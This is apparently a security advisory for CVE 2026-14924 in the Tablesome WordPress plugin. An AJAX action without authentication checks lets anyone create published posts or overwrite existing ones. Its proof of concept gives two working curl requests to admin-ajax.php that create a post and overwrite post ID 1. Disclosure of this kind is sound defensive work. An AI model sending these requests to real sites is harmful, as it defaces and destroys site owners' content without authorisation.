Tablesome < 1.1.31 – Unauthenticated Post Creation and Modification | CVE 2026-14924

Description

The plugin does not perform any authentication, capability, or nonce checks in one of its AJAX actions, allowing unauthenticated users to create new published posts and to overwrite arbitrary existing posts and pages.

Proof of Concept

Prerequisites: Tablesome active (any version below 1.1.31). No authentication or user account is required.

# 1. Create a new published post as an unauthenticated attacker
curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data 'action=store_tablesome_data&table_data={"post_title":"SECVALID_POC","post_action":"add"}'
# => {"message":"Table Created","type":"UPDATED",...}
# A new published post is created with no authentication.

# 2. Overwrite an arbitrary existing post/page by ID (here the default post ID 1), unauthenticated
curl -s -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  --data 'action=store_tablesome_data&table_data={"post_id":1,"post_title":"TAMPERED_BY_UNAUTH","post_action":"edit"}'
# => {"message":"Table Updated","type":"UPDATED",...}
# Post 1 is overwritten: its title is replaced, its original content is destroyed,
# and its post type/status are changed - confirming unauthenticated modification of
# arbitrary core WordPress content, not just plugin data.